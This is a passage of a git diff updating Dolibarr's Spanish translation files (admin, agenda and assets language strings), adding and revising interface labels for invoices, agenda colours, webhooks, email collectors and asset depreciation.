      Este software es una colecci SetupDescription5=Las otras entradas de configuración gestionan parámetros opcionales. SetupDescriptionLink= %s-%s SetupDescription3b=Parámetros básicos utilizados para personalizar el comportamiento predeterminado de su aplicación (por ejemplo, para funciones relacionadas con el país). -SetupDescription4b=Este software es un conjunto de muchos módulos/aplicaciones. Los módulos relacionados con sus necesidades deben ser habilitados y configurados. Las entradas del menú aparecerán con la activación de estos módulos. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Eventos de seguridad que se auditan NoSecurityEventsAreAduited=No se auditan eventos de seguridad. Puede habilitarlos desde el menú %s Audit=Eventos de seguridad @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Los parámetros de configuración solamente pueden ser tratados SystemInfoDesc=La información del sistema es información técnica accesible solamente en solo lectura a los administradores. SystemAreaForAdminOnly=Esta área está disponible solo para usuarios administradores. Los permisos de usuario de Dolibarr no pueden cambiar esta restricción. CompanyFundationDesc=Edite la información de su empresa/organización. Haga clic en el botón "%s" en la parte inferior de la página cuando haya terminado. +MoreNetworksAvailableWithModule=Es posible que haya más redes sociales disponibles habilitando el módulo "Redes sociales". AccountantDesc=Si tiene un contable/asesor externo, puede editar aquí su información. AccountantFileNumber=Código contable DisplayDesc=Aquí se pueden modificar los parámetros que afectan al aspecto y la presentación de la aplicación. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Triggers de este archivo activos ya que el módulo < GeneratedPasswordDesc=Elija el método que se utilizará para las contraseñas generadas automáticamente. DictionaryDesc=Inserte aquí los datos de referencia. Puede añadir sus datos a los predefinidos. ConstDesc=Esta página le permite editar (anular) parámetros que no están disponibles en otras páginas. Estos están reservados principalmente a desarrolladores o soluciones avanzadas. +MiscellaneousOptions=Opciones varias MiscellaneousDesc=Todos los otros parámetros relacionados con la seguridad se definen aquí. LimitsSetup=Configuración de límites y precisiones LimitsDesc=Puede definir aquí los límites y precisiones utilizados por Dolibarr @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Debe ejecutar el comando desde YourPHPDoesNotHaveSSLSupport=Funciones SSL no disponibles en su PHP DownloadMoreSkins=Más temas para descargar SimpleNumRefModelDesc=Devuelve el número de referencia en el formato %syymm-nnnn donde aa es el año, mm es el mes y nnnn es un número secuencial que se incrementa automáticamente sin reinicio. +SimpleRefNumRefModelDesc=Devuelve el número de referencia en el formato n, donde n es un número de incremento automático secuencial sin restablecimiento +AdvancedNumRefModelDesc=Devuelve el número de referencia en el formato %syymm-nnnn donde aa es el año, mm es el mes y nnnn es un número secuencial que se incrementa automáticamente sin reinicio. SimpleNumRefNoDateModelDesc=Devuelve el número de referencia en el formato %s-nnnn donde nnnn es un número secuencial que se incrementa automáticamente sin reinicio ShowProfIdInAddress=Mostrar el identificador profesional en las direcciones ShowVATIntaInAddress=Ocultar el identificador IVA Intracomunitario en las direcciones @@ -1380,7 +1399,7 @@ GetBarCode=Obtener código de barras NumberingModules=Módulos de numeración DocumentModules=Modelos de documento ##### Module password generation -PasswordGenerationStandard=Devuelve una contraseña generada de acuerdo con el algoritmo interno de Dolibarr: %s caracteres que contienen números y caracteres en minúsculas mezclados. +PasswordGenerationStandard=Devuelve una contraseña generada según el algoritmo interno de Dolibarr: %s caracteres que contienen números y caracteres compartidos. PasswordGenerationNone=No sugerir ninguna contraseña generada. La contraseña debe ser escrita manualmente. PasswordGenerationPerso=Devuelve una contraseña según la configuración definida. SetupPerso=Obteniendo tu configuración @@ -1434,6 +1453,10 @@ SuppliersPayment=Pagos a proveedor SupplierPaymentSetup=Configuración de pagos a proveedores InvoiceCheckPosteriorDate=Verifique la fecha de fabricación antes de la validación InvoiceCheckPosteriorDateHelp=Estará prohibida la validación de una factura si su fecha es anterior a la fecha de la última factura del mismo tipo. +InvoiceOptionCategoryOfOperations=Mostrar la mención "categoría de operaciones" en la factura. +InvoiceOptionCategoryOfOperationsHelp=Dependiendo de la situación, la mención aparecerá en la forma:
      - Categoría de operaciones: Entrega de bienes
      - Categoría de operaciones: Prestación de servicios
      - Categoría de operaciones: Mixtas - Entrega de bienes y prestación de servicios +InvoiceOptionCategoryOfOperationsYes1=Sí, debajo del bloque de direcciones +InvoiceOptionCategoryOfOperationsYes2=Sí, en la esquina inferior izquierda ##### Proposals ##### PropalSetup=Configuración del módulo Presupuestos ProposalsNumberingModules=Módulos de numeración de presupuestos @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Marca de agua en contratos (nada si está vacía) ##### Members ##### MembersSetup=Configuración del módulo Asociaciones MemberMainOptions=Opciones principales +MemberCodeChecker=Opciones para la generación automática de códigos de miembros AdherentLoginRequired= Gestionar un login para cada miembro AdherentMailRequired=E-Mail obligatorio para crear un miembro nuevo MemberSendInformationByMailByDefault=Casilla de verificación para enviar el correo de confirmación (validación ó nueva cotización) a los miembros es por defecto "sí" MemberCreateAnExternalUserForSubscriptionValidated=Crear un nuevo usuario externo para cada nueva suscripción de miembro validada -VisitorCanChooseItsPaymentMode=El visitante puede elegir entre los modos de pago disponibles +VisitorCanChooseItsPaymentMode=El visitante puede elegir entre cualquier modo de pago disponible MEMBER_REMINDER_EMAIL=Habilitar recordatorio de eventos por e-mail de suscripciones expiradas. Nota: El módulo %s debe estar habilitado y configurado correctamente para que el recordatorio se envíe. MembersDocModules=Plantillas de documentos para documentos generados a partir de registros de miembros ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Activar editor avanzado para : FCKeditorForNotePublic=Creación/edición WYSIWIG del campo "notas públicas" de elementos FCKeditorForNotePrivate=Creación/edición WYSIWIG del campo "notas privadas" de elementos FCKeditorForCompany=Creación/edición WYSIWIG en el campo de la descripción de los elementos (excepto en productos/servicios) -FCKeditorForProduct=Creación/edición WYSIWIG en el campo de la descripción de los productos/servicios -FCKeditorForProductDetails=creación/edición WYSIWIG de líneas de detalle de productos para todas las entidades (presupuestos, pedidos, facturas, etc...). Advertencia: El uso de esta opción para este caso es seriamente no recomendada, ya que puede crear problemas con caracteres especiales y formato de página al crear archivos PDF. +FCKeditorForProductDetails=Creación/edición WYSIWIG de descripción de productos o líneas para objetos (líneas de propuestas, pedidos, facturas, etc...). +FCKeditorForProductDetails2=Advertencia: No se recomienda seriamente utilizar esta opción para este caso, ya que puede crear problemas con los caracteres especiales y el formato de página al crear archivos PDF. FCKeditorForMailing= Creación/edición WYSIWIG de los E-Mails (Utilidades->E-Mailings) FCKeditorForUserSignature=Creación/edición WYSIWIG de la firma de usuarios FCKeditorForMail=Creación/edición WYSIWIG de todos los e-mails ( excepto Utilidades->E-Mailings) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Nombre del gestor de menús DetailMenuModule=Nombre del módulo si la entrada del menú es resultante de un módulo DetailType=Tipo de menú (superior o izquierdo) DetailTitre=Etiqueta de menú -DetailUrl=URL de la página hacia la cual el menú apunta +DetailUrl=URL donde te envía el menú (enlace URL relativo o enlace externo con https://) DetailEnabled=Condición de mostrar o no DetailRight=Condición de visualización completa o restringida DetailLangs=Archivo .lang para la traducción del título @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Usar tipos de evento (gestionados en el menú Configuraci AGENDA_USE_EVENT_TYPE_DEFAULT=Establecer automáticamente este valor por defecto para el tipo de evento en la creación de un evento AGENDA_DEFAULT_FILTER_TYPE=Establecer por defecto este tipo de evento en el filtro de búsqueda en la vista de la agenda AGENDA_DEFAULT_FILTER_STATUS=Establecer por defecto este estado de eventos en el filtro de búsqueda en la vista de la agenda +AGENDA_EVENT_PAST_COLOR=Color de eventos pasados +AGENDA_EVENT_CURRENT_COLOR=Color del evento actual +AGENDA_EVENT_FUTURE_COLOR=Color de evento futuro AGENDA_DEFAULT_VIEW=Establecer la vista por defecto al seleccionar el menú Agenda AGENDA_REMINDER_BROWSER=Habilitar el recordatorio de eventos en el navegador del usuario (Cuando se alcanza la fecha de recordatorio, el navegador muestra una ventana emergente. Cada usuario puede deshabilitar dichas notificaciones desde la configuración de notificaciones del navegador). AGENDA_REMINDER_BROWSER_SOUND=Activar sonido de notificación @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=El decremento de stock en TPV no es c CashDeskYouDidNotDisableStockDecease=Usted no ha desactivado el decremento de stock al hacer una venta desde TPV. Así que se requiere un almacén. CashDeskForceDecreaseStockLabel=El decremento de stock para productos con lote ha sido forzada. CashDeskForceDecreaseStockDesc=Disminuir primero por las fechas más antiguas de caducidad y venta. -CashDeskReaderKeyCodeForEnter=Código de clave para "Enter" definido en el lector de código de barras (Ejemplo: 13) +CashDeskReaderKeyCodeForEnter=Código ASCII clave para "Enter" definido en el lector de código de barras (Ejemplo: 13) ##### Bookmark ##### BookmarkSetup=Configuración del módulo Marcadores BookmarkDesc=Este módulo le permite gestionar los enlaces y accesos directos. También permite añadir cualquier página de Dolibarr o enlace web en el menú de acceso rápido de la izquierda. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modelos de numeración de facturas de proveedor IfSetToYesDontForgetPermission=Si se establece en un valor no nulo, no olvide proporcionar permisos a los grupos o usuarios permitidos para la segunda aprobación ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Configuración del módulo GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Ruta al archivo que contiene la ip Maxmind ip a la traducción del país.
      Ejemplos:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Ruta al archivo que contiene Maxmind ip a la traducción del país NoteOnPathLocation=Tenga en cuenta que este archivo debe estar en un directorio accesible desde su PHP (Compruebe la configuración de open_basedir de su PHP y los permisos de archivo/directorios). YouCanDownloadFreeDatFileTo=Puede descargarse una versión demo gratuita del archivo de países Maxmind GeoIP en la dirección %s. YouCanDownloadAdvancedDatFileTo=También puede descargarse una versión más completa del archivo de países Maxmind GeoIP en la dirección %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Asistente para compilar el archivo de volcado de la base de dat BackupZipWizard=Asistente para construir el directorio de archivo de documentos SomethingMakeInstallFromWebNotPossible=No es posible la instalación de módulos externos desde la interfaz web por la siguiente razón: SomethingMakeInstallFromWebNotPossible2=Por esta razón, explicaremos aquí los pasos del proceso de actualización manual que puede realizar un usuario con privilegios. +InstallModuleFromWebHasBeenDisabledContactUs=La instalación o desarrollo de módulos externos o sitios web dinámicos, desde la aplicación, está actualmente bloqueada por motivos de seguridad. Póngase en contacto con nosotros si necesita habilitar esta función. InstallModuleFromWebHasBeenDisabledByFile=La instalación de módulos externos desde la aplicación se encuentra desactivada por el administrador. Debe requerirle que elimine el archivo %s para habilitar esta funcionalidad. ConfFileMustContainCustom=La instalación o construcción de un módulo externo desde la aplicación necesita guardar los archivos del módulo en el directorio %s. Para que este directorio sea procesado por Dolibarr, debe configurar su conf/conf.php para agregar las 2 líneas de directiva:
      $dolibarr_main_url_root_alt = '/custom';
      $dolibarr_main_document_root_alt = '%s/custom'; HighlightLinesOnMouseHover=Resaltar líneas de los listados cuando el ratón pasa por encima de ellas @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Eliminar caracteres especiales COMPANY_AQUARIUM_CLEAN_REGEX=Filtro Regex para limpiar el valor (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Filtro de expresiones regulares para limpiar el valor (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicado no permitido +RemoveSpecialWords=Limpiar ciertas palabras al generar subcuentas para clientes o proveedores +RemoveSpecialWordsHelp=Especifique las palabras que se limpiarán antes de calcular la cuenta del cliente o proveedor. Utilizar una ";" entre cada palabra GDPRContact=Oficina Protección de datos (DPO, Políticas de privacidad o contacto GDPR) GDPRContactDesc=Si almacena datos personales en su Sistema de Información, puede nombrar al contacto responsable del Reglamento General de Protección de Datos aquí HelpOnTooltip=Texto de ayuda a mostrar en la ventana emergente @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Directorio de destino del buzón EmailcollectorOperations=Operaciones a realizar por el colector EmailcollectorOperationsDesc=Las operaciones se ejecutan de arriba hacia abajo. MaxEmailCollectPerCollect=Número máximo de e-mails recolectados por la recolección +TestCollectNow=Recopilación de prueba CollectNow=Recoger ahora ConfirmCloneEmailCollector=¿Está seguro de que desea clonar el recopilador de correo electrónico %s? DateLastCollectResult=Fecha del último intento de recolección @@ -2093,7 +2124,7 @@ EmailCollectorExampleToCollectTicketRequestsDesc=Recopile correos electrónicos EmailCollectorExampleToCollectTicketRequests=Ejemplo de recopilación de la solicitud de ticket (solo el primer mensaje) EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Escanee el directorio "Enviado" de su buzón para encontrar correos electrónicos que se enviaron como respuesta a otro correo electrónico directamente desde su software de correo electrónico y no desde Dolibarr. Si se encuentra dicho correo electrónico, el evento de respuesta se registra en Dolibarr EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Ejemplo de recopilación de respuestas de correo electrónico enviadas desde un software de correo electrónico externo -EmailCollectorExampleToCollectDolibarrAnswersDesc=Recopile todos los correos electrónicos que sean una respuesta de un correo electrónico enviado desde su aplicación. Un evento (el Módulo Agenda debe estar habilitado) con la respuesta del correo electrónico se registrará en el buen lugar. Por ejemplo, si envías una propuesta comercial, pedido, factura o mensaje de ticket por email desde la aplicación, y el destinatario responde a tu email, el sistema captará automáticamente la respuesta y la añadirá a tu ERP. +EmailCollectorExampleToCollectDolibarrAnswersDesc=Recopile todos los correos electrónicos que son una respuesta de un correo electrónico enviado desde su aplicación. Un evento (el Módulo Agenda debe estar habilitado) con la respuesta del correo electrónico se registrará en el buen lugar. Por ejemplo, si envías una propuesta comercial, pedido, factura o mensaje de ticket por email desde la aplicación, y el destinatario responde a tu email, el sistema captará automáticamente la respuesta y la añadirá a tu ERP. EmailCollectorExampleToCollectDolibarrAnswers=Ejemplo recopilando todos los mensajes entrantes como respuestas a mensajes enviados desde Dolibarr' EmailCollectorExampleToCollectLeadsDesc=Recopile correos electrónicos que coincidan con algunas reglas y cree automáticamente un cliente potencial (el Proyecto del módulo debe estar habilitado) con la información del correo electrónico. Puedes usar este recopilador si quieres seguir tu lead usando el módulo Proyecto (1 lead = 1 proyecto), por lo que tus leads se generarán automáticamente. Si el recopilador Collect_Responses también está habilitado, cuando envía un correo electrónico desde sus clientes potenciales, propuestas o cualquier otro objeto, también puede ver las respuestas de sus clientes o socios directamente en la aplicación.
      Nota: Con este ejemplo inicial se genera el título del lead incluyendo el email. Si no se puede encontrar al tercero en la base de datos (nuevo cliente), el cliente potencial se adjuntará al tercero con ID 1. EmailCollectorExampleToCollectLeads=Ejemplo de recopilación de clientes potenciales @@ -2109,6 +2140,7 @@ CodeLastResult=Resultado último código NbOfEmailsInInbox=Número de emails en el directorio fuente LoadThirdPartyFromName=Cargar terceros buscando en %s (solo carga) LoadThirdPartyFromNameOrCreate=Cargar terceros terceros buscando en %s (crear si no se encuentra) +LoadContactFromEmailOrCreate=Cargue la búsqueda de contactos en %s (crear si no se encuentra) AttachJoinedDocumentsToObject=Guarde los archivos adjuntos en los documentos del objeto si se encuentra una referencia de un objeto en el asunto del correo electrónico. WithDolTrackingID=Mensaje de una conversación iniciada por un primer e-mail enviado desde Dolibarr WithoutDolTrackingID=Mensaje de una conversación iniciada por un primer e-mail NO enviado desde Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Etiqueta del proyecto PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Incluir alias en nombre de terceros THIRDPARTY_ALIAS=Nombre de tercero - Alias de tercero ALIAS_THIRDPARTY=Alias de tercero - Nombre de tercero +PDFIn2Languages=Mostrar etiquetas en PDF en 2 idiomas diferentes PDF_USE_ALSO_LANGUAGE_CODE=Si desea duplicar algunos textos en su PDF en 2 idiomas diferentes en el mismo PDF generado, debe establecer aquí este segundo idioma para que el PDF generado contenga 2 idiomas diferentes en la misma página, el elegido al generar el PDF y este ( solo unas pocas plantillas PDF lo admiten). Mantener vacío para 1 idioma por PDF. PDF_USE_A=Generar documentos PDF con formato PDF/A en lugar del formato PDF predeterminado FafaIconSocialNetworksDesc=Ingrese aquí el código de un ícono FontAwesome. Si no sabe qué es FontAwesome, puede usar el valor genérico fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partner AGENDA_EVENT_DEFAULT_STATUS=Estado de evento predeterminado al crear un evento desde el formulario YouShouldDisablePHPFunctions=Deberías deshabilitar las funciones de PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Excepto si necesita ejecutar comandos del sistema en código personalizado, debe deshabilitar las funciones PHP -PHPFunctionsRequiredForCLI=Para fines de shell (como una copia de seguridad programada de trabajos o ejecutar un programa anitivurs), debe mantener las funciones de PHP +PHPFunctionsRequiredForCLI=Para fines de shell (como la copia de seguridad de trabajos programados o la ejecución de un programa antivirus), debe mantener las funciones de PHP NoWritableFilesFoundIntoRootDir=No se encontraron archivos o directorios grabables de los programas comunes en su directorio raíz (Bueno) RecommendedValueIs=Recomendado: %s Recommended=Recomendada NotRecommended=No recomendado -ARestrictedPath=Alguna ruta restringida +ARestrictedPath=Algunas rutas restringidas para archivos de datos CheckForModuleUpdate=Compruebe si hay actualizaciones de módulos externos CheckForModuleUpdateHelp=Esta acción se conectará a los editores de módulos externos para comprobar si hay una nueva versión disponible. ModuleUpdateAvailable=Hay una actualización disponible @@ -2264,10 +2297,10 @@ LateWarningAfter=Advertencia "tarde" después TemplateforBusinessCards=Plantilla para una tarjeta de presentación en diferentes tamaños InventorySetup= Configuración inventario ExportUseLowMemoryMode=Usar un modo de poca memoria -ExportUseLowMemoryModeHelp=Use el modo de memoria baja para ejecutar el archivo ejecutable del volcado (la compresión se realiza a través de una canalización en lugar de en la memoria PHP). Este método no permite verificar que el archivo esté completo y no se puede informar un mensaje de error si falla. +ExportUseLowMemoryModeHelp=Use el modo de memoria baja para generar el archivo de volcado (la compresión se realiza a través de una canalización en lugar de en la memoria PHP). Este método no permite verificar que el archivo esté completo y no se puede informar un mensaje de error si falla. Úselo si no experimenta suficientes errores de memoria. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interfaz para capturar disparadores de dolibarr y enviarlo a una URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Configuración de webhook Settings = Configuraciones WebhookSetupPage = Página de configuración del webhook @@ -2288,6 +2321,8 @@ IconOnly=Solo icono: solo texto en la información sobre herramientas INVOICE_ADD_ZATCA_QR_CODE=Mostrar el código QR de ZATCA en las facturas INVOICE_ADD_ZATCA_QR_CODEMore=Algunos países árabes necesitan este código QR en sus facturas INVOICE_ADD_SWISS_QR_CODE=Mostrar el código QR-Bill suizo en las facturas +INVOICE_SHOW_SHIPPING_ADDRESS=Mostrar dirección de envío +INVOICE_SHOW_SHIPPING_ADDRESSMore=Mención obligatoria para Francia UrlSocialNetworksDesc=Enlace URL de la red social. Use {socialid} para la parte variable que contiene la identificación de la red social. IfThisCategoryIsChildOfAnother=Si esta categoría es hija de otra DarkThemeMode=Modo de tema oscuro @@ -2307,3 +2342,37 @@ UsePassword=Utiliza una contraseña UseOauth=Utiliza un token OAUTH Images=Imágenes MaxNumberOfImagesInGetPost=Número máximo de imágenes permitidas en un campo HTML enviado en un formulario +MaxNumberOfPostOnPublicPagesByIP=Número máximo de publicaciones en páginas públicas con la misma dirección IP en un mes +CIDLookupURL=El módulo trae una URL que puede ser utilizada por una herramienta externa para obtener el nombre de un tercero o contacto a partir de su número de teléfono. La URL a utilizar es: +ScriptIsEmpty=El script esta vacio +ShowHideTheNRequests=Mostrar/ocultar las %s solicitude(s) SQL +DefinedAPathForAntivirusCommandIntoSetup=Defina una ruta para un programa antivirus en %s +TriggerCodes=Eventos activables +TriggerCodeInfo=Ingrese aquí los códigos de activación que deben generar una publicación de una solicitud web (solo se permiten URL externas). Puede introducir varios códigos de activación separados por una coma. +EditableWhenDraftOnly=Si no está marcado, el valor solo se puede modificar cuando el objeto tiene un estado de borrador +CssOnEdit=Css en páginas de edición +CssOnView=Css en las páginas de visualización +CssOnList=Css en páginas de lista +HelpCssOnEditDesc=El Css utilizado al editar el campo.
      Ejemplo: "minwidth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=El Css utilizado al visualizar el campo. +HelpCssOnListDesc=El Css utilizado cuando el campo está dentro de una tabla de lista.
      Ejemplo: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Ocultar la cantidad pedida en los documentos generados para recepciones +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Mostrar el precio en los documentos generados para recepciones +WarningDisabled=Advertencia deshabilitada +LimitsAndMitigation=Límites de acceso y mitigación +DesktopsOnly=Solo equipos de escritorio +DesktopsAndSmartphones=Ordenadores de escritorio y teléfonos inteligentes +AllowOnlineSign=Permitir la firma en línea +AllowExternalDownload=Permitir descarga externa (sin inicio de sesión, usando un enlace compartido) +DeadlineDayVATSubmission=Fecha límite para la presentación de IVA en el próximo mes +MaxNumberOfAttachementOnForms=Número máximo de archivos unidos en un formulario +IfDefinedUseAValueBeetween=Si está definido, use un valor entre %s y %s +Reload=Recargar +ConfirmReload=Confirmar recarga de módulo +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/es_ES/agenda.lang b/htdocs/langs/es_ES/agenda.lang index c30e322d064..64baafbcd01 100644 --- a/htdocs/langs/es_ES/agenda.lang +++ b/htdocs/langs/es_ES/agenda.lang @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Envío %s ha sido devuelto al estado de borrador ShipmentDeletedInDolibarr=Expedición %s eliminada ShipmentCanceledInDolibarr=Envío %s cancelado ReceptionValidatedInDolibarr=Recepción %s validada +ReceptionDeletedInDolibarr=Recepción %s eliminado ReceptionClassifyClosedInDolibarr=Recepción %s clasificado cerrado OrderCreatedInDolibarr=Pedido %s creado OrderValidatedInDolibarr=Pedido %s validado @@ -87,6 +88,7 @@ SupplierInvoiceSentByEMail=Factura de proveedor %s enviada por e-mail ShippingSentByEMail=Expedición %s enviada por email ShippingValidated= Expedición %s validada InterventionSentByEMail=Intervención %s enviada por e-mail +ProjectSentByEMail=Proyecto %s enviado por correo electrónico ProposalDeleted=Presupuesto eliminado OrderDeleted=Pedido eliminado InvoiceDeleted=Factura eliminada diff --git a/htdocs/langs/es_ES/assets.lang b/htdocs/langs/es_ES/assets.lang index 99b1a479095..a3eb7fd150d 100644 --- a/htdocs/langs/es_ES/assets.lang +++ b/htdocs/langs/es_ES/assets.lang @@ -1,4 +1,4 @@ -# Copyright (C) 2018 Alexandre Spangaro +# Copyright (C) 2018-2022 Alexandre Spangaro # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -16,52 +16,171 @@ # # Generic # -Assets = Activos -NewAsset = Nuevo activo -AccountancyCodeAsset = Código contable (activo) -AccountancyCodeDepreciationAsset = Código contable (cuenta depreciación activo) -AccountancyCodeDepreciationExpense = Código contable (cuenta depreciación gastos) -NewAssetType=Nuevo tipo de activo -AssetsTypeSetup=Configuración tipos de activos -AssetTypeModified=Tipo de activo modificado -AssetType=Tipo de activo +NewAsset=Nuevo activo +AccountancyCodeAsset=Código contable (activo) +AccountancyCodeDepreciationAsset=Código de contabilidad (cuenta de activo de depreciación) +AccountancyCodeDepreciationExpense=Código contable (cuenta de gastos de depreciación) AssetsLines=Activos DeleteType=Eliminar -DeleteAnAssetType=Eliminar un tipo de activo -ConfirmDeleteAssetType=¿Está seguro de querer eliminar este tipo de activo? -ShowTypeCard=Ver tipo '%s' +DeleteAnAssetType=Eliminar un modelo de activo +ConfirmDeleteAssetType=¿Está seguro de que desea eliminar este modelo de activos? +ShowTypeCard=Mostrar modelo '%s' # Module label 'ModuleAssetsName' -ModuleAssetsName = Activos +ModuleAssetsName=Activos # Module description 'ModuleAssetsDesc' -ModuleAssetsDesc = Descripción bien +ModuleAssetsDesc=Descripción de los activos # # Admin page # -AssetsSetup = Configuración activos -Settings = Configuraciones -AssetsSetupPage = Configuración activos -ExtraFieldsAssetsType = Campos adicionales (tipos de activos) -AssetsType=Tipo de activo -AssetsTypeId=Id tipo de activo -AssetsTypeLabel=Etiqueta tipo de activo -AssetsTypes=Tipos de activos +AssetSetup=Configuración de activos +AssetSetupPage=Página de configuración de activos +ExtraFieldsAssetModel=Atributos complementarios (Modelo de activos) + +AssetsType=Modelo de activos +AssetsTypeId=Id. de modelo de activo +AssetsTypeLabel=Etiqueta del modelo de activos +AssetsTypes=Modelos de activos +ASSET_ACCOUNTANCY_CATEGORY=Grupo de contabilidad de activos fijos # # Menu # -MenuAssets = Activos -MenuNewAsset = Nuevo bien -MenuTypeAssets = Tipo de activos -MenuListAssets = Listado -MenuNewTypeAssets = Nuevo -MenuListTypeAssets = Listado +MenuAssets=Activos +MenuNewAsset=Nuevo activo +MenuAssetModels=Activos del modelo +MenuListAssets=Lista +MenuNewAssetModel=Modelo del nuevo activo +MenuListAssetModels=Lista # # Module # +ConfirmDeleteAsset=¿Realmente desea eliminar este recurso? + +# +# Tab +# +AssetDepreciationOptions=Opciones de depreciación +AssetAccountancyCodes=Cuentas contables +AssetDepreciation=Depreciación + +# +# Asset +# Asset=Activo -NewAssetType=Nuevo tipo de activo -NewAsset=Nuevo activo -ConfirmDeleteAsset=¿Está seguro de que desea eliminar este activo? +Assets=Activos +AssetReversalAmountHT=Cantidad de inversión (sin impuestos) +AssetAcquisitionValueHT=Importe de la adquisición (sin impuestos) +AssetRecoveredVAT=IVA recuperado +AssetReversalDate=Fecha de reversión +AssetDateAcquisition=Fecha de adquisición +AssetDateStart=Fecha de puesta en marcha +AssetAcquisitionType=Tipo de adquisición +AssetAcquisitionTypeNew=Nuevo +AssetAcquisitionTypeOccasion=Usado +AssetType=Tipo de activo +AssetTypeIntangible=Intangible +AssetTypeTangible=Tangible +AssetTypeInProgress=En progreso +AssetTypeFinancial=Financiero +AssetNotDepreciated=No depreciado +AssetDisposal=Disposición +AssetConfirmDisposalAsk=¿Está seguro de que desea deshacerse del activo %s? +AssetConfirmReOpenAsk=¿Está seguro de que desea reabrir el recurso %s? + +# +# Asset status +# +AssetInProgress=En progreso +AssetDisposed=Disposed +AssetRecorded=Contabilizado + +# +# Asset disposal +# +AssetDisposalDate=Fecha de eliminación +AssetDisposalAmount=Valor de enajenación +AssetDisposalType=Tipo de eliminación +AssetDisposalDepreciated=Depreciar el año de la transferencia +AssetDisposalSubjectToVat=Enajenación sujeta a IVA + +# +# Asset model +# +AssetModel=Modelo del activo +AssetModels=Modelos de activos + +# +# Asset depreciation options +# +AssetDepreciationOptionEconomic=Depreciación económica +AssetDepreciationOptionAcceleratedDepreciation=Depreciación acelerada (impuestos) +AssetDepreciationOptionDepreciationType=Tipo de depreciación +AssetDepreciationOptionDepreciationTypeLinear=Lineal +AssetDepreciationOptionDepreciationTypeDegressive=Degresivo +AssetDepreciationOptionDepreciationTypeExceptional=Excepcional +AssetDepreciationOptionDegressiveRate=Tasa decreciente +AssetDepreciationOptionAcceleratedDepreciation=Acelerado (impuesto) +AssetDepreciationOptionDuration=Duración +AssetDepreciationOptionDurationType=Tipo de duración +AssetDepreciationOptionDurationTypeAnnual=Anual +AssetDepreciationOptionDurationTypeMonthly=Mensual +AssetDepreciationOptionDurationTypeDaily=Diario +AssetDepreciationOptionRate=Tasa (%%) +AssetDepreciationOptionAmountBaseDepreciationHT=Base de amortización (sin IVA) +AssetDepreciationOptionAmountBaseDeductibleHT=Base deducible (sin IVA) +AssetDepreciationOptionTotalAmountLastDepreciationHT=Cantidad total de la última depreciación (sin IVA) + +# +# Asset accountancy codes +# +AssetAccountancyCodeDepreciationEconomic=Depreciación económica +AssetAccountancyCodeAsset=Activo +AssetAccountancyCodeDepreciationAsset=Depreciación +AssetAccountancyCodeDepreciationExpense=Gastos de depreciación +AssetAccountancyCodeValueAssetSold=Valor del activo enajenado +AssetAccountancyCodeReceivableOnAssignment=Cuenta por cobrar por enajenación +AssetAccountancyCodeProceedsFromSales=Productos de la eliminación +AssetAccountancyCodeVatCollected=IVA cobrado +AssetAccountancyCodeVatDeductible=IVA recuperado en activos +AssetAccountancyCodeDepreciationAcceleratedDepreciation=Depreciación acelerada (impuestos) +AssetAccountancyCodeAcceleratedDepreciation=Cuenta +AssetAccountancyCodeEndowmentAcceleratedDepreciation=Gastos de depreciación +AssetAccountancyCodeProvisionAcceleratedDepreciation=Reposesión/Provisión + +# +# Asset depreciation +# +AssetBaseDepreciationHT=Deprbase de liquidación (excl. IVA) +AssetDepreciationBeginDate=Inicio de depreciación el +AssetDepreciationDuration=Duración +AssetDepreciationRate=Tasa (%%) +AssetDepreciationDate=Fecha de depreciación +AssetDepreciationHT=Depreciación (sin IVA) +AssetCumulativeDepreciationHT=Depreciación acumulada (sin IVA) +AssetResidualHT=Valor residual (sin IVA) 